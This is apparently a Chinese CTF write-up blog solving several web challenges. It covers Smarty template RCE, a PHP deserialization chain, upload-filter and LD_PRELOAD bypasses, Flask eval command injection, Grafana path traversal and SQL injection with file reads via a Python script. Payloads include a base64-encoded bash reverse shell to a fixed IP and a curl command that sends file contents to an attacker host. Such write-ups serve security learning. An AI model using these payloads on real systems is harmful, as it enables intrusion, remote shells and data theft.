由于题目描述,可能修改了一些过滤规则,下载3.1.39源码:源码下载地址,使用Beyond Compare进行文件对比,在s\src\Smarty\sysplugins\smarty_internal_compile_function.php和源码中的smarty-3.1.39\libs\sysplugins\smarty_internal_compile_function.php对比中得到语句

原版源码:

1
2
3
if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

题目源码:

1
2
3
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

增加了一个(.*)的规则,本地debug在这条语句下断点,原本的POC到这里检测的部分是:'rce(){};system("dir");function '

需要绕过这部分,可以看出,原本的POC是利用一个空格绕过了检测,原本的过滤是直到不再出现为止(非贪婪),但增加了(.*)之后,匹配会继续往前,直到本行首,但仅仅是单行匹配,使用换行,并且检测到第二行不存在即可

使用:

data=string:{function+name=’rce(){};system(“dir”);function%0a+’}{/function}

换行绕过,但题目还有disable_function和open_basedir,老知识点了,使用ini_set函数和chdir函数进行目录穿越,再用scandir函数读取目录:

data=string:{function+name=’rce(){};chdir(“img”);ini_set(“open_basedir”,”..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);ini_set(“open_basedir”,”/“);var_dump(scandir(“/“))function%0a+’}{/function}

得到flag在根目录下,使用base64绕过对flag的过滤,使用Php_strip_whitespace函数读取:

data=string:{function+name=’rce(){};chdir(“img”);ini_set(“open_basedir”,”..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);ini_set(“open_basedir”,”/“);var_dump(Php_strip_whitespace(base64_decode(L2ZsYWc)));function%0a+’}{/function}

2022das三月赛

ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

很好的签到题,直接构建poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class crow
{
public $v1;
public $v2;
}

class fin
{
public $f1;
}

class what
{
public $a;
}
class mix
{
public $m1;
}

$a = new fin();

$a->f1 = new what();

$a->f1->a = new fin();

$a->f1->a->f1 = new crow();

$a->f1->a->f1->v1 = new fin();

$a->f1->a->f1->v1->f1 = new mix();

$a->f1->a->f1->v1->f1->m1 = " echo exec(base64_decode(YmFzaCAtYyAnYmFzaCAtaT4mIC9kZXYvdGNwLzQ3LjEwNy41Ni4yNDQvODA4NiAwPiYxJw));";

// echo serialize($a);
// echo "<br>";
echo urlencode(serialize($a));

eval里面的#是单行注释,把注入的命令的最开始的空格替换成换行符%0a即可

查看phpinfo界面没有任何disable_function

因此直接rce

但直接查查不到,似乎只能输出一个,因此选择了弹shell,flag.php里是假flag,看见目录下一大堆同类名文件,直接cat *得到flag

updgstore

(赛后复现)

文件上传

上传phpinfo可以看到disable_function过滤了很多函数,但其实仔细搜索会发现很多函数没在里面,但上传就会发现有过滤,就卡死在这里了,赛后看wp才想起来大写绕过,真是大写的尴尬

总之使用Show_source成功读取到index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
-----------------------------27879107436484325173113356327
Content-Disposition: form-data; name="upload_file"; filename="a.php"
Content-Type: text/plain

<?php
Show_source(base64_decode("Li4vaW5kZXgucGhw"));
-----------------------------27879107436484325173113356327
Content-Disposition: form-data; name="submit"

upload
-----------------------------27879107436484325173113356327--

可以看到过滤使用的方法是查找字符串,确实是可以使用大写绕过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}


return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

使用大写绕过匹配,include结合base64编码绕过,使用php伪协议以及base64-decode过滤器包含我们传的另一个文件即可执行任意代码,直接写

1
2
<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1lYzk2N2IyZDg3NDUzZmFkZGQ4YmJkODE5ZWMxNTVlYy5waHA="));

然后执行任意代码,我直接抄题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php

//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);


$content = file_get_contents($temp_file);

$new_file_name = $file_name;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
putenv("LD_PRELOAD=".$temp_file);
mail("[email protected]","","","","");


// if (move_uploaded_file($temp_file, $img_path)){
// $is_upload = true;
// } else {
// $msg = 'Upload Failed!';
// die();
// }
// echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

修修改改,因为似乎没有移动权限,因此直接把它放这里,然后进行一个加载so文件的行为

转为base64编码即可上传

然后写马上传,之后立即就会执行,了个shell,先是读取到根目录和权限,flag很明显没有权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
total 4
drwxr-xr-x 1 root root 28 Jan 12 2021 bin
drwxr-xr-x 2 root root 6 Nov 22 2020 boot
drwxr-xr-x 5 root root 360 Mar 28 11:21 dev
drwxr-xr-x 1 root root 66 Mar 28 11:21 etc
-rw------- 1 root root 43 Mar 28 11:21 flag
drwxr-xr-x 2 root root 6 Nov 22 2020 home
drwxr-xr-x 1 root root 21 Jan 12 2021 lib
drwxr-xr-x 2 root root 34 Jan 11 2021 lib64
drwxr-xr-x 2 root root 6 Jan 11 2021 media
drwxr-xr-x 2 root root 6 Jan 11 2021 mnt
drwxr-xr-x 2 root root 6 Jan 11 2021 opt
dr-xr-xr-x 5688 root root 0 Mar 28 11:21 proc
drwx------ 1 root root 22 Mar 22 01:51 root
drwxr-xr-x 1 root root 21 Jan 12 2021 run
drwxr-xr-x 1 root root 20 Jan 12 2021 sbin
drwxr-xr-x 2 root root 6 Jan 11 2021 srv
dr-xr-xr-x 13 root root 0 Dec 20 05:41 sys
drwxrwxrwt 1 root root 23 Mar 28 13:02 tmp
drwxr-xr-x 1 root root 17 Jan 11 2021 usr
drwxr-xr-x 1 root root 17 Jan 12 2021 var

查找一个有root权限的命令:

#在根目录下查找用户为root,权限为4000的可执行程序,并且将匹配的文件输出到标准输出中

find / -user root -perm -4000 -print 2>/dev/null

1
2
3
4
5
-perm
匹配匹配权限
4000 SUID 程序执行时,如果该程序有SUID权限,会变成程序文件的属主,一般来说进程的属主是由进程的发起者来发起的,并不是程序文件的属主。
2000 SGID 在程序执行时,组身份会发生改变,从用户运行变成所属组运行。(当用户无法执行文件时,如果该程序有SGID权限,那么可以将用户的身份升级为该可执行该程序文件的属组)
1000 SBIT 当程序设定了SBIT权限,属组内的每个用户或者其他所有用户,只能创建文件和删除自己的文件,不能删除其他用户的文件。

发现存在nl命令可用,读取出flag

calc

附件下载源码查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag


@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"





if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)

eval处能执行代码,但过滤很多无法进行rce:

1
2
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
os.system(log)

两句可以直接执行命令,先经过eval函数正常执行后才能执行,避免python语句执行出错导致报错结束程序,使用python的注释符#注释掉命令部分

1#`ls`

之后使用curl命令带出执行结果,使用制表符代替空格绕过过滤,最终payload

1
/calc?num=123%23`curl%09http%3A%2F%2Fyourip%3A8086%2F%3Fflag=\`cat%09*\``

ctfshow愚人杯

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

https://pic.imgdb.cn/item/623b196827f86abb2a648ac1.png

提示主页是假的,猜一下,index.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
if (isset($_GET['c'])) {
$c = $_GET['c'];
eval($c);
} else {
highlight_file(__FILE__);
}

index.php?c=system(“ls”);

flag.php index.html index.php

index.php?c=system(“cat *”);

ctfshow{5Li65LqG5LiN6K6p5ZCE5L2N5biI5YKF5Lus5b6X5YiG77yM5oiR5oqKZmxhZ+WIoOS6hg==}

base64解一下:为了不让各位师傅们得分,我把flag删了

蛤?不可能,这是动态靶机,这该死的愚人节

index.php?c=system(“env”);

ctfshow{e5d00b5b-9b51-430a-8bd7-4e35938d6fcd}

还是假的,然后又去mysql逛了一圈,还是没有

赛后问了别的师傅,是隐藏文件,最后复现使用\

ls -a
得到.flag.php.swp,vim的临时文件

还是对ls命令了解少了

starctf

oh-my-grafana

fuzz

抓包,访问:

/public/plugins/canvas/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

查到账密:

1
2
3
4
5
# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade

进入后打开explore,修改语句,直接查询

1
2
3
4
show tables
-- fffffflllllllllaaaagggggg
select * from fffffflllllllllaaaagggggg
-- *ctf{Upgrade_your_grafAna_now!}

oh-my-notepro

直接登录,发现环境都被人hack通了,不过问题不大

随便写一个,点开一看,get处有可疑的参数

注一个,

select * from notes where note_id=’’’

一个报错连语句都出来了

1
2
3
4
5
6
7
8
9
10
0%27order%20by%205%23

0%27union%20select%201,2,3,4,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database())%23
-- users

0%27union%20select%201,2,3,4,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name="users")%23
-- id,username,password

0%27union%20select%201,2,3,4,(select%20user())%23
-- ctf3@192.168.96.3

很明显,没权限,尝试load_file读取文件,结果为空

可以堆叠

1
2
3
4
5
6
7
8
-- 建表
create table huatest(cmd text);

-- 使用load data local infile 语句将文件保存到表中
load data local infile '/etc/passwd' into table test

成功读取出
select group_concat(cmd) from hua1

但没法执行命令,这样没办法知道flag的位置

在报错的页面可以发现开启了flask debug,但是是有PIN码验证的

用个脚本计算PIN码的源码跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import re
import time
import html

import hashlib
from itertools import chain

# url = 'http://124.70.185.87:5002/'

url = 'http://121.37.153.47:5002/'

# url = 'http://123.60.72.85:5002/'

sql = 'view?note_id='

path = '/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py'
# path = '/etc/passwd'
# path2 = '/sys/class/net/eth0/address'
# path3 = '/proc/self/cgroup'
# path = '/flag_cantguessit'
# path = '/etc/machine-id'
# path = '/proc/sys/kernel/random/boot_id'
# payload="0'union select 1,2,3,4,(select hex(group_concat(cmd))from hua"+time+")%23"


data = {
"username":"xiquanmuhua",
"password":"1",
"submit":"Login!"
}

# 登录
# 开启session
ks = requests.session()
re1 = ks.post(url=url+'login',data=data)

# 利用时间标作为表名标志,方便每次建表
time = str(time.time()).replace('.','')
create = "0';create table hua"+time+"(cmd text)%23"

load = "0';load data local infile '"+path+"' into table hua"+time+"%23"

# 创建表并存文件
ks.get(url=url+sql+create)

ks.get(url=url+sql+load)


for i in range(1000):
payload="0'union select 1,2,3,4,(select cmd from hua"+time+" limit "+str(i)+",1)%23"

re3 = ks.get(url=url+sql+payload)
# if i==41:
# print(re3.text)

# if 'None' in re3.text:
# break
line1 = re.findall('\s(.*?)\s \</h1',re3.text)
cal = line1[0][0:1000]
# print(str(i)+cal)
if cal==' None':
break

# 将特殊符号转码成正常
cal = html.unescape(cal)
print(cal)

跑出该文件:
/usr/local/lib/python3.8/site-packages/werkzeug/debug/init.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
        import getpass
import hashlib
import json
import os
import pkgutil
import re
import sys
import time
import typing as t
import uuid
from io import BytesIO
from itertools import chain
from os.path import basename
from os.path import join
from zlib import adler32

from .._internal import _log
from ..exceptions import NotFound
from ..http import parse_cookie
from ..security import gen_salt
from ..utils import send_file
from ..wrappers.request import Request
from ..wrappers.response import Response
from .console import Console
from .tbtools import DebugFrameSummary
from .tbtools import DebugTraceback
from .tbtools import render_console_html

if t.TYPE_CHECKING:
from _typeshed.wsgi import StartResponse
from _typeshed.wsgi import WSGIApplication
from _typeshed.wsgi import WSGIEnvironment

# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None


def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg

try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid
except OSError:
pass

return None

_machine_id = _generate()
return _machine_id


class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""

def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0

def eval(self, code: str) -> t.Any:
return self.console.eval(code)


def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name


class DebuggedApplication:
"""Enables debugging support for a given application::

from werkzeug.debug import DebuggedApplication
from myapp import app
app = DebuggedApplication(app, evalex=True)

The `evalex` keyword argument allows evaluating expressions in a
traceback's frame context.

:param app: the WSGI application to run debugged.
:param evalex: enable exception evaluation feature (interactive
debugging). This requires a non-forking server.
:param request_key: The key that points to the request object in this
environment. This parameter is ignored in current
versions.
:param console_path: the URL for a general purpose console.
:param console_init_func: the function that is executed before starting
the general purpose console. The return value
is used as initial namespace.
:param show_hidden_frames: by default hidden traceback frames are skipped.
You can show them by setting this parameter
to `True`.
:param pin_security: can be used to disable the pin based security system.
:param pin_logging: enables the logging of the pin system.
"""

_pin: str
_pin_cookie: str

def __init__(
self,
app: "WSGIApplication",
evalex: bool = False,
request_key: str = "werkzeug.request",
console_path: str = "/console",
console_init_func: t.Optional[t.Callable[[], t.Dict[str, t.Any]]] = None,
show_hidden_frames: bool = False,
pin_security: bool = True,
pin_logging: bool = True,
) -> None:
if not console_init_func:
console_init_func = None
self.app = app
self.evalex = evalex
self.frames: t.Dict[int, t.Union[DebugFrameSummary, _ConsoleFrame]] = {}
self.request_key = request_key
self.console_path = console_path
self.console_init_func = console_init_func
self.show_hidden_frames = show_hidden_frames
self.secret = gen_salt(20)
self._failed_pin_auth = 0

self.pin_logging = pin_logging
if pin_security:
# Print out the pin for the debugger on standard out.
if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
_log("warning", " * Debugger is active!")
if self.pin is None:
_log("warning", " * Debugger PIN disabled. DEBUGGER UNSECURED!")
else:
_log("info", " * Debugger PIN: %s", self.pin)
else:
self.pin = None

@property
def pin(self) -> t.Optional[str]:
if not hasattr(self, "_pin"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin

@pin.setter
def pin(self, value: str) -> None:
self._pin = value

@property
def pin_cookie_name(self) -> str:
"""The name of the pin cookie."""
if not hasattr(self, "_pin_cookie"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin_cookie

def debug_application(
self, environ: "WSGIEnvironment", start_response: "StartResponse"
) -> t.Iterator[bytes]:
"""Run the application and conserve the traceback frames."""
app_iter = None
try:
app_iter = self.app(environ, start_response)
yield from app_iter
if hasattr(app_iter, "close"):
app_iter.close() # type: ignore
except Exception as e:
if hasattr(app_iter, "close"):
app_iter.close() # type: ignore

tb = DebugTraceback(e, skip=1, hide=not self.show_hidden_frames)

for frame in tb.all_frames:
self.frames[id(frame)] = frame

is_trusted = bool(self.check_pin_trust(environ))
html = tb.render_debugger_html(
evalex=self.evalex,
secret=self.secret,
evalex_trusted=is_trusted,
)
response = Response(html, status=500, mimetype="text/html")

try:
yield from response(environ, start_response)
except Exception:
# if we end up here there has been output but an error
# occurred. in that situation we can do nothing fancy any
# more, better log something into the error log and fall
# back gracefully.
environ["wsgi.errors"].write(
"Debugging middleware caught exception in streamed "
"response at a point where response headers were already "
"
)

environ["wsgi.errors"].write("".join(tb.render_traceback_text()))

def execute_command(
self,
request: Request,
command: str,
frame: t.Union[DebugFrameSummary, _ConsoleFrame],
) -> Response:
"""Execute a command in a console."""
return Response(frame.eval(command), mimetype="text/html")

def display_console(self, request: Request) -> Response:
"""Display a standalone shell."""
if 0 not in self.frames:
if self.console_init_func is None:
ns = {}
else:
ns = dict(self.console_init_func())
ns.setdefault("app", self.app)
self.frames[0] = _ConsoleFrame(ns)
is_trusted = bool(self.check_pin_trust(request.environ))
return Response(
render_console_html(secret=self.secret, evalex_trusted=is_trusted),
mimetype="text/html",
)

def get_resource(self, request: Request, filename: str) -> Response:
"""Return a static resource from the shared folder."""
path = join("shared", basename(filename))

try:
data = pkgutil.get_data(__package__, path)
except OSError:
return NotFound() # type: ignore[return-value]
else:
if data is None:
return NotFound() # type: ignore[return-value]

etag = str(adler32(data) & 0xFFFFFFFF)
return send_file(
BytesIO(data), request.environ, download_name=filename, etag=etag
)

def check_pin_trust(self, environ: "WSGIEnvironment") -> t.Optional[bool]:
"""Checks if the request passed the pin test. This returns `True` if the
request is trusted on a pin/cookie basis and returns `False` if not.
Additionally if the cookie's stored pin hash is wrong it will return
`None` so that appropriate action can be taken.
"""
if self.pin is None:
return True
val = parse_cookie(environ).get(self.pin_cookie_name)
if not val or "|" not in val:
return False
ts, pin_hash = val.split("|", 1)
if not ts.isdigit():
return False
if pin_hash != hash_pin(self.pin):
return None
return (time.time() - PIN_TIME) < int(ts)

def _fail_pin_auth(self) -> None:
time.sleep(5.0 if self._failed_pin_auth > 5 else 0.5)
self._failed_pin_auth += 1

def pin_auth(self, request: Request) -> Response:
"""Authenticates with the pin."""
exhausted = False
auth = False
trust = self.check_pin_trust(request.environ)
pin = t.cast(str, self.pin)

# If the trust return value is `None` it means that the cookie is
# set but the stored pin hash value is bad. This means that the
# pin was changed. In this case we count a bad auth and unset the
# cookie. This way it becomes harder to guess the cookie name
# instead of the pin as we still count up failures.
bad_cookie = False
if trust is None:
self._fail_pin_auth()
bad_cookie = True

# If we're trusted, we're authenticated.
elif trust:
auth = True

# If we failed too many times, then we're locked out.
elif self._failed_pin_auth > 10:
exhausted = True

# Otherwise go through pin based authentication
else:
entered_pin = request.args["pin"]

if entered_pin.strip().replace("-", "") == pin.replace("-", ""):
self._failed_pin_auth = 0
auth = True
else:
self._fail_pin_auth()

rv = Response(
json.dumps({"auth": auth, "exhausted": exhausted}),
mimetype="application/json",
)
if auth:
rv.set_cookie(
self.pin_cookie_name,
f"{int(time.time())}|{hash_pin(pin)}",
httponly=True,
samesite="Strict",
secure=request.is_secure,
)
elif bad_cookie:
rv.delete_cookie(self.pin_cookie_name)
return rv

def log_pin_request(self) -> Response:
"""Log the pin if needed."""
if self.pin_logging and self.pin is not None:
_log(
"info", " * To enable the debugger you need to enter the security pin:"
)
_log("info", " * Debugger pin code: %s", self.pin)
return Response("")

def __call__(
self, environ: "WSGIEnvironment", start_response: "StartResponse"
) -> t.Iterable[bytes]:
"""Dispatch the requests."""
# important: don't ever access a function here that reads the incoming
# form data! Otherwise the application won't have access to that data
# any more!
request = Request(environ)
response = self.debug_application
if request.args.get("__debugger__") == "yes":
cmd = request.args.get("cmd")
arg = request.args.get("f")
secret = request.args.get("s")
frame = self.frames.get(request.args.get("frm", type=int)) # type: ignore
if cmd == "resource" and arg:
response = self.get_resource(request, arg) # type: ignore
elif cmd == "pinauth" and secret == self.secret:
response = self.pin_auth(request) # type: ignore
elif cmd == "printpin" and secret == self.secret:
response = self.log_pin_request() # type: ignore
elif (
self.evalex
and cmd is not None
and frame is not None
and self.secret == secret
and self.check_pin_trust(environ)
):
response = self.execute_command(request, cmd, frame) # type: ignore
elif (
self.evalex
and self.console_path is not None
and request.path == self.console_path
):
response = self.display_console(request) # type: ignore
return response(environ, start_response)

/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
